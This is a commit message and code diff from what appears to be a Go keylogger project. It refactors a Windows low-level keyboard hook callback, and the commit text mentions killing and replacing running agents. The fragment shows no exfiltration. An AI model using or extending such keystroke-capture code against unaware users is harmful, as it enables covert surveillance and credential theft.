fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test

lib/keylog/hook_windows.go

@@ -76,6 +76,8 @@ var (
 	hookMods     modifierState
 	lastHWND     uintptr
 	lastTitle    string
+	// ponytail: NewCallback is never freed; reuse across Start/Stop.
+	hookCB = syscall.NewCallback(keyboardHookProc)
 )
 
 func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
@@ -120,8 +122,7 @@ func runHookThread(ready chan struct{}) error {
 	hookThreadID = windowsGetCurrentThreadId()
 	close(ready)
 
-	hookProc := syscall.NewCallback(keyboardHookProc)
-	handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0)
+	handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookCB, 0, 0)
 	if handle == 0 {
 		return err
 	}